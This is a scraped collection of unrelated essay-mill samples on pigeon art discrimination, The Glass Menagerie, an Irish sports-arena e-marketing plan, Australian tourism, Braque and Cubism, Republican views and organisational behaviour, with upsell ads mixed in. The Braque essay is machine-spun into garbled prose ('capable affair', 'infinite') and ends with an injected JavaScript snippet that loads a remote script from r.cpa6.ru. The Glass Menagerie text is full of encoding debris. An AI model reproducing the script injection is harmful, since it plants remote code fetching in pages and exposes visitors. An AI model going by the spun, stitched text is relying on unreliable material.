Pigeon Discrimination Article review - Free Essay Example

Sample details Pages: 2 Words: 564 Downloads: 1 Date added: 2019/03/29 Category Society Essay Level High school Tags: Discrimination Essay Did you like this example? In their research on the discrimination capabilities of pigeons, Watanabe, Sakamoto, and Wakita presented eight untrained pigeons with various pictures or videos of paintings that had two distinct styles: impressionist or cubist. Based on previous research that showed discrimination between types of music heard by pigeons, Watanabe and colleagues aimed to decipher if pigeons could also visually discriminate between the works of Monet and Picasso. Pigeons were trained to peck a key light without any presentation of a stimulus, before being divided into two groups: Monet S+ and Picasso S+. Don’t waste time! Our writers will create an original "Pigeon Discrimination Article review" essay for you Create order Pigeons belonging to the Monet S+ group were reinforced with hemp seeds upon correct key pecking when presented with Monet paintings. Similarly, pigeons responding to the Picasso S+ group received reinforcement for correct responses to Picasso paintings. To move onto the testing phase, pigeons were required to correctly discriminate at a 90% ratio. For the four test conditions, Watanabe and colleagues tested for discrimination between different characteristics of paintings, such as color, contour sharpness, orientation (reversed or upside-down) and generalization to similar types of artwork. Whereas pigeons had been trained with full color photographs/videos, test one presented paintings that contained only one color. Likewise, stimuli used in training contained distinct lines and contours, but for test two, these lines were ill-defined and the paintings were blurred. In test three, some paintings presented were either in reverse or upside-down compared to original stimuli. In test 4, birds were shown stimuli consisting of novel paintings from various impressionists/cubist artists, along with original paintings used in discriminative training. In a second experiment, Wantanabe and colleagues used similar training and testing procedures with two pigeons to determine if the subjects could discriminate between pseudoconcept groups of paintings that contained both Monet and Picasso paintings. With S+ being paintings from both artists, testing phases one, two and three were again conducted. Both pigeons were able to successfully discriminate during training at the level required to move onto the testing phase. Although discrimination responses of some pigeons were affected by changes to stimuli in tests one and two for both experiments, there was no significant evidence that a specific characteristic was used for discrimination. In experiment one, a decrease in responses to the Monet S+ group in test 3 demonstrates that a contortion of real objects seen in impressionist art may hinder discrimination, as opposed to the abstract artwork that is seen in works by Picasso. Furthermore, the Picasso S+ group in test 3 did not see a decline in responses during experiment one. However in the second experiment, one pigeon showed a decline in responding while the other pigeon did not. In test four, birds in the Monet S+ group responded to novel Monet paintings and works from other Impressionists, just as birds in the Picasso S+ group responded to novel Picasso paintings and other cubism works. Furthermore, pigeons in Picasso S+ not only discriminated between cubism and impressionism paintings, but al so between the individual paintings themselves. Through these experiments, Wantanabe and colleagues were able to demonstrate how pigeons could discriminate between different categories of paintings, as well as pseudo categories. Pigeons were able to distinguish between Monet, Picasso, and works from impressionist or cubist artists by creating categories based on different characteristics of these stimuli. In summation, results from these experiments indicate that pigeons possess the ability to create groups with generalized stimuli, as well as discriminate between individual stimuli.

The Glass Menagerie Symbolism Essay - 800 Words

Title Tennessee Williams had a rough past that influenced him to write plays about the 1930s. Williams’s life was very successful in his writing, making him known to many. His experiences in the 1930s affected his work. Williams’s homosexuality made him be seen as an outcast in American society. Tennessee Williams utilizes symbolism to express his themes throughout The Glass Menagerie. There are many events in Tennessee Williams’s early life that is similar to the details in The Glass Menagerie. Williams had a bad relationship with his father, who was clinically alcoholic (Debusscher 1). Williams’s dysfunctional family plays a role towards his homosexuality (Debusscher 4). A research group discovered that children who have alcoholic†¦show more content†¦Williams employment of symbolism is needed to capture the reality of illusion (Adler 5). Laura was given the nickname â€Å"Blue Roses† by a boy she loved in high school (Adler 6). Roses are delicate, beautiful, and fanciful, like Laura and her glass animals, but they both have no real existence (Adler 6). The glass unicorn is her favorite glass animal (Beattie 3). When Jim breaks off the horn accidentally, Laura realizes that she ordinary like the unicorn-turned horse (Beattie 4). Another symbol is a dead-end alleyway, which cats are trapped and killed by dogs (Holditch 2). All the characters are trapped in different ways, and each escape into an illusion (Holditch 2). The symbols relate to the themes and characters. The themes provide a deeper understanding of the play and of the characters. Tom’s father abandoned his family, who appears only in a photograph on the wall (Adler 6). Tom abandoned the family the same way his father did, but he wanted to leave his life situation (Beattie 2). Amanda struggles to support her children, who are now grown and refuses to see Laura’s disability (Holditch 2). Amanda escapes into the past and forgets the facts of her own existence (Holditch 2). The family avoids the truth, make excuses, and creating fantasies are a way of invading all issues (Debusscher 3). Tom believes Amanda’s refusal to recognize Laura’s limitation demeans LauraShow MoreRelated Essay on the Symbolism of the Menagerie in The Glass Menagerie1002 Words   |  5 PagesThe Symbolism of the Menagerie in The Glass Menagerie      Ã‚   Tennessee Williams play, The Glass Menagerie, describes three separate characters, their dreams, and the harsh realities they face in a modern world.   The Glass Menagerie exposes the lost dreams of a southern family and their desperate struggle to escape reality. Williams use of symbols adds depth to the play. The glass menagerie itself is a symbol Williams uses to represent the broken lives of Amanda, Laura and Tom Wingfield andRead More Symbolism in The Glass Menagerie Essay1629 Words   |  7 Pages Symbolism in The Glass Menagerie nbsp;nbsp;nbsp;nbsp;nbsp;From the beginning, the figure of the narrator shows that Williams play will not follow the conventions of realistic theater. The narrator breaks the conceptual quot;fourth wallquot; of naturalistic drama by addressing the audience directly. Tom also tells us that he is going to give the audience truth disguised as illusion, making the audience conscious of the illusory quality of theater. By playing with the theme of memory and itsRead MoreThe Glass Menagerie Symbolism Essay1424 Words   |  6 PagesImagination or Illusion Can Create Big Trouble The Glass Menagerie is a five-character memory play written by Tennessee Williams in 1945. The play is introduced to the audience by Tom, the narrator and protagonist, as a memory play based on his recollection of his mother Amanda, his sister Laura, and his friend Jim O’Connor as a gentleman caller. There is a fifth character in the play, Tom’s father who doesn’t appear except in the photograph frame. Among them one of the most interesting charactersRead More Essay on Symbolism in The Glass Menagerie1171 Words   |  5 PagesSymbolism in The Glass Menagerie Symbolism plays an integral part in Williams’s play, The Glass Menagerie. Examples of the use of symbolism include the fire escape, as an escape from the family, the phonograph, as an escape from reality, the unicorn, as a symbol for Lauras uniqueness and the father’s photograph, representing something different to each character. Through regonition of these symbols, a greater understanding of the play’s theme is achieved. Throughout the play, Tom WingfieldRead More Symbolism in The Glass Menagerie Essay1022 Words   |  5 PagesSymbolism is an integral part of every play. The author uses symbolism in order to add more depth to the play. In Tennessee Williams’ play, The Glass Menagerie, he describes three separate characters, their dreams, and the harsh realities they face in a modern world. The Glass Menagerie exposes the lost dreams of a southern family and their desperate struggle to escape reality. Everyone in the play seeks refuge from their lives, attempting to escape into an imaginary world. Williams uses the fireRead MoreSymbolism in the Glass Menagerie Essay831 Words   |  4 PagesSymbolism in The Glass Menagerie Symbolism plays a fundamental part in Tennessee Williams’s play, â€Å"The Glass Menagerie†. Examples of the use of symbolism include the fire escape, as an escape from the family, the phonograph, as an escape from reality, the unicorn, as a symbol for Lauras uniqueness and the father’s photograph, representing something different to each character. Through recognition of these symbols, a greater understanding of the play’s theme is achieved. ThroughoutRead MoreGlass Menagerie Symbolism Essay2502 Words   |  11 PagesIn his drama, The Glass Menagerie, Tennessee Williams uses symbolism in order to develop multi-faceted characters and to display the recurring themes of the play. These various symbols appear throughout the entire piece, and they are usually disguised as objects or imagery. They allow the reader to know the characters#8217; personalities, and their true inside characteristics. These symbols also add to the major themes, which develop as the play gains momentum. In the drama, symbols play theRead MoreEssay on Symbolism In Tennessee Williams The Glass Menagerie1762 Words   |  8 PagesSymbolism In Tennessee Williams The Glass Menagerie   Ã‚  Ã‚  Ã‚  Ã‚  Symbolism is a major aspect in Tennessee Williams famous play, The Glass Menagerie. On the surface, the short slice of life story seems to be simple. However, if the reader digs deeper they will find that there are several symbols that give the play a deeper meaning. Each character defines each symbol in a different way. Aside from character symbols, there is overall symbolism in this play. It is set in a memory, so it creates a softRead More The Importance of Symbolism in The Glass Menagerie Essay1609 Words   |  7 PagesThe Importance of Symbolism in The Glass Menagerie  Ã‚      Tom Wingfield is the narrator and a major character in Tennessee William’s timeless play, The Glass Menagerie. Through the eyes of Tom, the viewer gets a glance into the life of his family in the pre-war depression era; his mother, a Southern belle desperately clinging to the past; his sister, a woman too fragile to function in society; and himself, a struggling, young poet working at a warehouse to pay the bills. Williams has managedRead MoreEssay about Symbolism in The Glass Menagerie2032 Words   |  9 PagesSymbolism is a type of literary device authors use to add special effect and meaning to their stories. According to The American Heritage Dictionary, symbolism is â€Å"The practice of representing things by means of symbols or of attributing symbolic meanings or significance to objects, events, or relationships (â€Å"symbolism†).† Objects, people, actions, and words often are used to symbolize a deeper meaning throughout the text of a story. As one reads a story, they must realize that each sentence they

E Marketing SOSTAC Framework

Question: Discuss abot theE Marketingfor SOSTAC Framework. Answer: Introduction The following assignment is going to be established as a convenient E-marketing plan for the National Indoor Arena of Ireland following the SOSTAC framework. The Indoor Arena of Ireland has some of the most exciting facilities and is currently planning to open two new phase and new centers for badminton, IRFU training and accommodation benefits for on site. Hence, an E-marketing plan is found to be essential. SOSTAC Framework Situation Analysis Currently NIATC is found to be one of the leading sports campuses of Ireland that has three large venues for gymnastics and athletic training center. It has been proposed that the arena will be the first and most dedicated gymnastic training center of the country. Though the campus has strong connection with the domestic business community, national governmental bodies and social media channels, the Arena should acknowledge that the present buying or membership trend has become more internets centric. Presently, near about 65.8% of the entire population of the country are active users of internet (Boyle 2016). Therefore, it is assumable that the aspect of customer trend is hugely influenced by e marketing. However, current condition of Arenas external environment, such as political, economic, social, technical and legal factors is essential prior to predict a successful e-marketing strategy. Political Membership with European union Parliament provides economic freedom The country is enjoying an independent and democratic sovereign An increasing inflation and allowance of wage increase Economic Economy grew by 26.3% in the year 2015 Score of economic freedom is 78.7% according to 2011 index The country is the largest exporter of various service in the world Only 11.9% unemployment rate Gross Income per head is $41,140 in average (Convery et al. 2013) Flexible monetary policy Social Population is 4.4 million A multicultural society Young population is recently 55.4% of the entire population High domestic demand Society is facing risks of high debt Technical Rapid change in technology Each business sector use technical appliances The country is involved in Environmental Technologies Action Plan Legal Central bank set the interest rate Only people from Britain and Ireland can work legally (Convery et al. 2013) Legal economy policy that concentrates on social partnership New tariff barriers due to its membership with EU Flexible pricing regulation and strong maintenance of Health and Welfare at Work regulation 2007 Table 1: PEST Analysis (Source: As created by the author) Strength Nine sports facilities An Aquatic center Strong connection with governmental authorities Weakness Till now no internet marketing Age old traditional way of marketing Opportunity To become worlds one of the largest sports campus To have new sports facilities Worldwide success with Aquatic centre Threat Handful of well-known sports club like UL Sports Arena, Sport Ireland Institute Traditional marketing may reduce the chances to win more membership Table 2: SWOT Analysis (Source: As created by the author) Figure 1: Competitor analysis (Source: As created by the author) Considering the competitor analysis and the environmental factors, it is to be said that the perfect target market for the Arena would be the young section of the country that is comprised of with 55.4% of the entire population. As the campus only concentrates on sports and the Irelands more than the half population is the youngsters, therefore this target market will be convenient. Additionally, the aim of the campus is to run e marketing which will be successful on this target section as most of internet users are supposed to be the young inhabitants. Hence, to aware the target market, a broad online marketing through most of the frequently used online channels will be done. Objectives For the National Indoor Arena of Ireland, two main objectives are To generate and increase awareness about the phases To develop a convenient database for future The mentioned objectives could be interpreted in SMART way, which will be as per the following SMART aspects Objectives Specific Objective one is specific as it is concrete and well defined as it is specifically emphasizing on generating awareness, which is required for the launch. Measurable Only objective one is measurable for now as the second one could not be measured instantly Attainable/Achievable Objective two will be achievable only when the first one would be successful. Objective one is attainable if the campus will make use of relevant e-marketing strategy Relevant Both of the objectives are relevant as per the current intention of the campus as they concentrate on the mission of campus and on the upcoming launch. Timely Objective one will be timely, as the two phases would be launched in the coming year. Table 3: SMART Objectives (Source: As created by the author) E-Strategy Considering the situational analysis, an applicable e-strategy would be to use online channels like Facebook, YouTube for generating awareness among the target market. On the other hand, the strategy should include the use of search engine operational tools to get relevant feedbacks to determine whether their strategy is working or not (Constantinides 2014). Sequence With the help of seven ps of online marketing, the following could be determined Step 1: Verification of the product, which is the new launch of two new phases and the new accommodation and training centers Step 2: Set the price for subscription and promote Step 3: Advertise the place of subscription for membership (Chmielarz and Zborowski 2016) Step 4: Broadcast about the options like instant reply, telephonic conversation, and face-to-face interaction after subscription Step 5: The young people of Ireland who need to have excellent facility for sports and physical training Step 6: Promote the enterprises current partnership with governmental authorities and other business companies Moreover, utilizing the Chaffeys 5s, it could be said that the selling or increasing membership would be done through digital banners and serve speedy responses and convenient option to visit the page (Boone and Kurtz 2013). Build a separate customer care executive team who will be online for 24x7 for the speaking purpose. A system integration process for back office would be implemented to save money and time (Chaffey et al. 2012). Integration and plan to attract customer Instant flow of information gained from online marketing to the in house employees A 24x7 customer support team Media mix popular websites, banners and opt-in mails (Strauss 2016) Target market young people will be attracted mainly through Facebook and YouTube, others through online campaign and banner Tactics For accomplishing the constructed e-strategy, NIATC requires to have some applicable e-tools, which could be Websites Face book, LinkeDin, YouTube and Google Promotional emails Opt-in-emails (Mohapatra 2013) Search engine promotions Marketing by Pay per click like Google AdWords Online banners Actions Tactics Time and Budget Risk management Performance diagnosis Corrective actions Websites Three months, 39000 pound Misinterpretation False or duplicate promotions Number of likes in Facebook Number of visit Number of ratings (Eid. and El-Gohary 2013) Change the website options, which are found having frequent problems New design of information Promotional emails Four months, 15-20000 pound Negative feedback Subscribers unwillingness Instant replies Telephonic chats Number of subscription Modify the contents sent as Opt-in mails Search engine promotions Three months, 40000 pound Junk traffic Huge cost Complicated advertising Inappropriate selection of the marketing firm for PPC (Bryant et al. 2015) Rate of subscription Percentage of clicks Division of the entire cost by total number of clicks Separating placement of the content ads ad search Modifying broad match type keywords Online banners Two months, average 15000 pound Customer ignorance Expensive price Optional confusion Ratings Rate of subscription Modify images Reduce number of options Table 4: Action plan (Source: As created by the author) Control After having a brief view about the time and cost at the action plan section, it can be estimated that the overall budget would be 114000 pound for the proposed e marketing. Additionally, there will be a use of Key performance matrix for measuring the outcome of the strategy. Aspects Indicators Sales Number of subscription and measurement of revenue after the launch of the first phase of the Arena indicate whether objective one has been achieved or not Enquiries Search engine operator, emails, number of instant replies, customer feedback these will assist to get understanding about the second objective Subscription The campuss personalized list of new membership, number of new followers in Facebook and other website networks indicator for objective one Number of visitors Number of customer feedback will indicate the result regarding objective one Table 5: KPI (Key Performance Indicator) (Source: As created by the author) Reference Boone, L.E. and Kurtz, D.L., 2013.Contemporary marketing. Cengage learning. Boyle, R., 2016. 13. Riding the roller coaster: Irelands reform of the public service at a time of fiscal crisis.Public Administration Reforms in Europe: The View from the Top, p.140. Bryant, P., Elliott, A., Kingery, W. and Ramos, E., 2015. Clover Care: Website and E-Marketing Development. Chaffey, D., Smith, P.R. and Smith, P.R., 2012.eMarketing eXcellence: Planning and optimizing your digital marketing. Routledge. Chmielarz, W. and Zborowski, M., 2016, November. Aspects of mobility in e-Marketing from the perspective of a customer. InComputer Science and Information Systems (FedCSIS), 2016 Federated Conference on(pp. 1329-1333). IEEE. Constantinides, E., 2014. Foundations of social media marketing.Procedia-Social and behavioral sciences,148, pp.40-57. Convery, F.J., Dunne, L. and Joyce, D., 2013.Ireland's Carbon Tax and the Fiscal Crisis: Issues in Fiscal Adjustment, Environmental Effectiveness, Competitiveness, Leakage and Equity Implications(No. 59). OECD Publishing. Eid, R. and El-Gohary, H., 2013. The impact of E-marketing use on small business enterprises' marketing success.The Service Industries Journal,33(1), pp.31-50. Mohapatra, S., 2013. E-commerce Strategy. InE-Commerce Strategy(pp. 155-171). Springer US. Strauss, J., 2016.E-marketing. Routledge.

Tourist Experience for Operators and Destinations -myassignmenthelp

Question: Discuss about theTourist Experience for Operators and Destinations. Answer: Introduction: This is to be noted that tourism in Australiaplays the role of an important and significant component of the economy Australia. It is evident that tourism contributed 3 % of the total contribution of a$47.5billion by Australian GDP the state economy (Economics, 2013). Therefore, it can be said that thedomestic tourism plays a vital part in the global industry with the representation of 73% of the overall tourism GDP. According to the reports of 2010-2011, that the sector of tourism contributes 8% of the overall export earnings of Australia (Forsyth, et al. 2014). The renowned tourist destinations of Australia covers the significant shoreline cities ofBrisbane, Melbourne and Sydney. The list of prestigious destinations include the Gold Coast, provincialQueensland, and theGreat Barrier Reef.This can be said that Uluruand theAustralian outbackhave become the popular location with the emerging market of wildlife tourism. Therefore, it is evident that the rare Australian wildlife has beco me the key interest of the Australian tourism. Discussion: Contemporary issues facing tourism operators and destinations: This can be said that travel industry is experiencing a difficult phase of time in terms of threats and risks in this contemporary world. The world is becoming significantly fast with the advancements of technologies and technicalities. It is evident that people are facilitated with multiple options and easy solutions with a touch on the mobile screen. Therefore, it is not sufficient to provide good service to the tourists but also to reach them as soon as possible. The contemporary problems the tourism operators and destinations are facing: Further options: This is to be noted that the number of tourists along with different interests have increased significantly in the human history. It should be added that the tourist avenues have also increased along with the number of tourists than ever before (Hall, 2014). This is evident that significant number of options are available to the tourists with a little amount of research. Customers are getting end number of deals, discounts and added facilities along with the tour package. Therefore, it can be said that the increased number options are being equivalent to decreased amount of customer loyalty. It is easier for the clients to switch on to the other company if they find any sort difficulty or dissatisfaction in the current plan or package. This is clearly evident that the growth of online tourism is creating a significant and tough competition in this field. However, the fact that an individual agent can solve a problem better than a computer is almost forgotten. Expense Transparency: This is to be stated that everyone in this contemporary world is significantly tech savvy and know the various use of internet. The contemporary world thinks that Google is the ultimate solution. This can be said that it is only the matter of touch. The users are quite aware of the fact that everything is available in internet. The users only require to search with the proper key words. There is no need to think that the tourists are naive. They are aware of the methods to opt for the best deal. It is evident that the rising number of OTA (Online Travel Agency) initiates significant rivalry in this specific industry (Henne, 2014). The agencies require to face the challenge and offer the transparent schemes to the customers in order to survive in this industry. Therefore, providing superior value for money facilities than their rivals can lead the company to sheer success. Developing faith and attracting attention: This is to be noted that the travel and tourist companies are into the significant competition of severe business. It is challenging for them to emerge as a popular brand in the market of such tough competition. This is evident that the new companies who are entering the market with the help of advancement of OTA cannot rule over the leading and prominent companies who contribute in the national market. According to the number of dealers, there are still a large number of tourists who are significantly brand conscious and extremely loyal to the specific brand (Hwang, 2014). Therefore, it can be said that if a specific brand can earn faith by a loyal service to the client with all the transparent budget of expense and profit the brand has miles to go. Travel is not significantly adventurous in contemporary world: This is to be noted that the clients do not need to go to the agents to ask or consult regarding interesting locations (Chen, et al. 2014). All the information are only a key away. People can search for new and interesting places in the internet along with all the details and images of the certain places. It is also evident that they do not feel excited to reach and discover the place as they have already seen multiple images of the particular space. Therefore, the thrill and the charm for an unknown place to discover, to know and to experience has already missed. Constant flexibility and mobile oriented fast solutions: The agencies who do not provide mobile solution has no hope to survive in the market of digital advancement. People are not ready to stand for hours to book tickets. They find the online ticket booking is significantly easy and time saving. This is evident that the online booking take less time and less effort of the users. It can be said that the mobile solutions offer significant flexibility. Clients are facilitated with the significant amount of cash back offer in the online ticket booking options (Mathen, 2014). This is evident that the significant offers, discounts and interesting packages can attract the interest of multiple people. It can also be stated that the clients do not need to pay any consultancy fee in case of internet. Importance of Destination Management: Destination Management is also known as strategic tourism planning. DM aims to bring all the shareholders under the same roof and offer them with strategies to work in collaboration in order to modify a set of interests, actions and facilities into an organized and fascinating tourism experience or thedestination spot (Vila, 2015). Tour Operators in Australia: This is to be noted that Councilof Australian Tour Operators (CATO) is a significant association of expert and Tour Operators (Beirman, 2016).The employees of CATO are skilled in all the chief characteristics of tour and travel, ready to offer the exclusive and profitable tour and travel packages to the significant and popular national and global destinations. DMO and Tour Operators strategies to combat the contemporary issues: The recovery strategy by DMO and Tour Operators to combat the contemporary issues include ten specific steps. Step 1: Major Messages: Travel events are open ended for industry. Travelers are greeted. Significant incentives and discounts are offered for visiting board. Solidarity messages are written for the committed market. Step 2: Setting out the particulars: The entire destination oriented tourist events are operational. The evaluation of the tourists opportunity. Offer value added services including discount or additional facility for visiting now. Opt for outline improvisation, improvements and transformation. Step 3: Complementary Collaboration with Principals: Collaborative arrangements with resorts, hoteliers, restaurants, air links and interests (Cornick, 2014). Collaborative promotional strategies and significant value added engagements in performances between the significant complementary principals. Collaborative projects among the travel authority and clients. Step 4: Reestablishing Self-confidence in Source Industry: Hosting event oriented trips to familiarize the travel agents with the travel writers. Pursue witness recommendations from the estimation leaders in the significant source industry. Utilize Google YouTube to show pictures and the live situation in reality. Confirm tourist market investors are completely updated. Validate facility to the tourists who are canceling or postponing for apprehensions. Assure the significant agents and GSAs in the particular source industry are completely updated. Step 5: Collaborative Industry Models to compete with: Tourism Action Group Fiji is an association of tourism market leaders initiated during crunch circumstances in Fiji. PATAs Project Phoenix, after SARS retrieval for SE Asia in 2003 (Quach, 2013). Thailands after Tsunami rescue 2005 (Kamolvej, 2014). Collaboration of wholesalers with the significant destination partners. Step 6: Protecting Profitability during Marketing Recovery. Providing significant amount of incentives which helps the company to earn profit. Value added services work better than discount. Avoiding the specific financial striptease of decreasing amounts in low level to expose the bottom line. Providing significant amount of incentives in coincidence with the specific travel market partners that comprises profits for accommodation, food, travels and stays to attractions. Step 7: Re-thinking the business plan: The specific crisis program represents a prospect of upgrading and re-thinking the particular business. Entirely re-conceptual promotion and advertising. Attention to the future. Attention to the profits for undertaking business. Underlining structures and profits that have formerly been unnoticed or under-promoted. Conclusion: This can be concluded that the tourism operators and destination are facing a significant number of issues with the advancement of internet globally. Tourists and travelers do not require travel consultancy in person in contemporary days. They are facilitated with multiple number of options and choices. This is evident that contemporary tourists do think twice to switch brands in the matter of tourism. However, there is a concept called brand loyalty still exits. Therefore the leading brands are still managing to earn profit. DMO and tourist operators have taken number of strategies to combat with this crisis situation. The risk factors and the strategies both are being discussed and analyzed here to evaluate the entire scenario. References: Beirman, D. (2016). Tourism Risk, Crisis and Recovery Management Guide (for Tour Wholesalers). Chen, Y. C., Shang, R. A., Li, M. J. (2014). The effects of perceived relevance of travel blogs content on the behavioral intention to visit a tourist destination.Computers in Human Behavior,30, 787-799. Cornick, J., Jimenez, J., Romn, M. (2014).Public-Private Collaboration on Productive Development Policies in Costa Rica(No. IDB-WP-480). IDB Working Paper Series. Economics, D. A. (2013). Economic contribution of the Great Barrier Reef. Forsyth, P., Dwyer, L., Spurr, R., Pham, T. (2014). The impacts of Australia's departure tax: Tourism versus the economy? Tourism Management,40, 126-136. Hall, C. M., Williams, A. M., Lew, A. A. (2014). Tourism conceptualizations, disciplinarity, institutions, and issues.The Wiley Blackwell companion to tourism, 3-24. Henne, J. (2014).Business model dynamics in the tourism industry(Bachelor's thesis, University of Twente). Hwang, J., Han, H. (2014). Examining strategies for maximizing and utilizing brand prestige in the luxury cruise industry.Tourism Management,40, 244-259. Kamolvej, T. (2014). Has Thailand disaster management, from Tsunami to flood, been better.Journal of Governance of Mahasarakam University,4(2), 103-119. Mathen, N. (2014). Online Promotions: Exploring the emerging opportunity in Indian market. Quach, P. G. (2013).Examining international tourists' satisfaction with Hanoi tourism(Master's thesis, fi= Lapin yliopisto| en= University of Lapland|). Vila, T. D., Darcy, S., Gonzlez, E. A. (2015). Competing for the disability tourism marketa comparative exploration of the factors of accessible tourism competitiveness in Spain and Australia.Tourism Management,47, 261-272.

Braque Essay Research Paper free essay sample

Braque Essay, Research Paper # 65279 ; Georges Braque was one of the male parents of Cubism. Along with Picasso he explored and invented a new manner of painting that got its name from critics who pointed out little regular hexahedrons in his earliest cubist plants. At the terminal of 1907, Braque met Picasso at the unveiling of The Ladies of Avignon. This piece and a bare by Braque of late 1907 would go known as the first cubist pictures. Both creative persons were inspired by Cezanne s usage of geometry in stand foring the capable affair in his picture. These plants being some of the first to reject the classical thoughts of painting by portraying existent capable affair abstractly instead so realistically, it was merely natural for the two creative persons to join forces on future plants. The two began to discourse thoughts and show one another their current plants. Finally this coaction became a like a partnership where their thoughts were freely traded and built upon by one another. We will write a custom essay sample on Braque Essay Research Paper or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page At the extremum of Analytic Cubism, pictures by Braque and Picasso had great similarities and the brace frequently painted the same capable affair at the same clip. They worked so close Braque one time said that they were similar mountain climbers, roped together and drawing one another up. In 1908 Braque parted from his old Fauvist manner and began to paint in really limited pallets of subdued leafy vegetables, browns, and ochres. His work became really structured and more abstract. His concern was with infinite, multiplicity, signifier, and clip instead so with colour. The thought was to demo the topic from multiple angles. Picasso s work followed this form every bit good. Braque, nevertheless, turned to still lives while Picasso did most of his work with human signifiers. The differences between the two can be seen in plants from the same clip frame. Picasso s Vollard and Braque s Violin with Pitcher are both from 1910. Picasso s work pushes the foreground back and pulls the background frontward blending the two in order to make infinite. Braque s work makes usage of these same principals to depict the infinite and the capable affair, conveying them to the same plane. But while Picasso s consequence is a picture where the capable affair is still prevailing, Braque creates a balance between the accent of the capable affair and the infinite around it. Braque creates infinite that moves within itself and the capable affair coercing it to become portion of the capable affair. While Picasso succeeds in losing the definition between the two, he does non win in doing infinite go primary in the picture. This farther describes the difference in what the two creative persons felt Cubism was chiefly about. Picasso was known to hold one time said Cubism is an art covering chiefly with signifiers, while Braque stated What particularly attracted me # 8211 ; and what was the preoccupation of cubism # 8211 ; was the materialisation of that new infinite which I sensed. Although their coaction ended when Braque went into World War I and spanned merely seven old ages, the benefits of working so closely with one another is easy seen through the celerity with which Braque and Picasso developed their thoughts and their Cubist works evolved. High Analytic Cubism ( 1910 ) , what is regarded as Cubism s most hard point, is when the brace worked most closely together. It is during this clip that their most abstract plants were done. The drama of infinite and signifier traveling into one another, the opening up of antecedently closed signifiers, and the creative activity of irregular planes succeeded in turning Cubist works into an object of their ain, no longer a representation of something. In 1911 Braque introduced lettering to Cubism. This would be the starting / gt ; point for what would go known as Man-made Cubism. On this Braque said as portion of a desire to come near to a certain kind of world, in 1911 I introduced letters into my pictures. This move was the first measure towards the montage work of both Braque and Picasso which brought the abstract into world. Man-made Cubism brought on the usage of colour, and stuffs antecedently fresh by Braque or Picasso in their Cubist plants. They began to utilize stuffs such as wood printed vinyl, newspaper, and shreds. Shapes became larger and more recognizable. The usage of these stuffs was to foster the thought of making a integrity between world and abstract cubism, every bit good as in some instances to demo that some things which are perceived as world are really non, such as vinyl made to look like wood panel, while the pigment in the abstract cubist work is merely that and hence existent. It was during the geographic expedition of montage in Cubism that non merely words that appeared in newspapers were cut out, but even larger advertizements. In Braque s Glass and Bottle from 1913, a big cutout of an about complete cloakmakers ad is glued to the canvas. This type of ad, one that is for objects of desire for the general populace, could be seen as a farther range into the thought of conveying together world and the new Cubist world. Objects already easy recognizable by the mean adult male were being used, the usage of ads such as these could hold been used in order to non merely blend the two worlds, but to coerce those of the populace into the Cubist world. Ads, which were really popular in Paris and around the universe at the clip, were something that used to catch the involvement of the populace. An ad in the picture could be used to the same consequence and draw the spectator into it. Braque s painting Candlestick and Playing Cards ( 1910 ) is an illustration of Analytic Cubism at its extremum. The usage of an egg-shaped canvas, as is found in High Analytic Cubism, was intended to take the job of the corners of Cubist picture. The internalized construction and geometry used in conveying the capable affair and infinite environing it becomes weaker as it moves towards the corners, so an egg-shaped lodger leaves the picture stronger. In add-on to this the curving border creates a strong contrast with the harder angles, form, and lines within, which makes a dynamic energy inside the lodger. The tabular array is seen through the protrusion angle at the underside. Further back the base of the candle holder is seen on top of the tabular array. Further up, above centre is the candlestick itself. To the right are two playing cards, the one of Black Marias, and the six of diamonds. The signifier of the candle holder is lost, so found once more before being lost one time once more. This is a direct illustration of how signifier, infinite, and differing position are used in Cubism to make an abstract world, independent of clip. The colourss Braque utilizations are greies, opaque and translucent inkinesss, and browns. These are used to make a integrity between the topic and infinite through a deficiency of definition. They besides provide irregular shadow and borders to make signifiers and planes that overlap and travel into one another. These planes and signifiers change from one into the other and travel from background to highlight and frailty versa doing a two dimensional image from what, when looked at separately is made up of three dimensional signifiers and planes. Cogniat, Raymond, Braque, Crown Publishers, 1978 Gallatin, A. E. , Georges Braque: Essay and Bibliography, Wittenborn and Co. 1943 Golding, John, Cubism, Harvard University Press, 1988 Hilton, Timothy Picasso, Thames and Hudson, 1975 Fry, Edward, Cubism, Oxford University Press 1980 ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

My Political Views essays

My Political Views essays I consider myself to be a moderate to strong republican. It took me a long time to realize what degree I was. Most people know what party they are but few know how strong their beliefs are. After looking at the republican platform and comparing my views on the issues, which are: gun control, immigration, national language, capital punishment, and welfare reform; I found out that I am a much stronger republican than I earlier thought. The republican platform believes in welfare reform that eliminates waste, fraud, and abuse; require work from those who are able to work; limit the time allowed on public assistance; and reduce the burden on the taxpayer. They also believe that all Americans have the God given right to be safe in their homes, on their streets, and in their communities. They believe in tougher law enforcement, with stiffer penalties, eliminating the loopholes in our justice system today, and finding judges who respect the law and its law-abiding people. They also believe that our government is too large to be tuely effective. They believe that the people know what is best for them. They oppose discrimination and that people believe that people should be judges by ability rather than race, creed, or disability. They believe in a united America through one national language for all federal business. They also believe that in order to protect the environment we need some type of population control so the generations to come will be able to live the American dream. In my point of view gun control is about as strict as it needs to get. Any law-abiding citizen without any criminal record should be able to buy and own any gun. This includes semi or automatic weapons. An argument to this is what do they need an automatic gun for? Let me just compare that to something else like cars. The speed limit now at the most is seventy-five miles per hour. What do people need with cars that go one hundred fifty miles pe...

Studying the Field of Organisational Behaviour Essay

Studying the Field of Organisational Behaviour - Essay Example There is no real, ideal resolution for the organizational evils. The only thing that one can do is to increase one understands of abilities and skills, so that individual relations at work can be improved. â€Å"Organizational Behavior (OB) is the study and application of knowledge about how people, individuals, and groups act in organizations. It does this by taking a system approach. That is, it interprets people-organization relationships in terms of the whole person, whole group, whole organization, and whole social system† (Leadership and Organizational Behavior 2011). Organizational Behavior is the field of study that searches the after effect that persons, teams, and formation have on behavior within the company (organization). Organizational behavior deals with the study, and implication of awareness about how individuals act and react within organizations. Organizational behavior is a tool for the employee to work for the benefit of the organization. It is applicable largely to the manners of individuals working in all kinds of organizations including government, business, educational institutions, services, and companies. Organizational behavior is applied to cover three determinants of activities in organizations: individuals, teams and structure. The applied field of OB is concerned with the information gained about persons, and the impacts of structure on behavior so that to make organizations work more successfully. It is better to understand 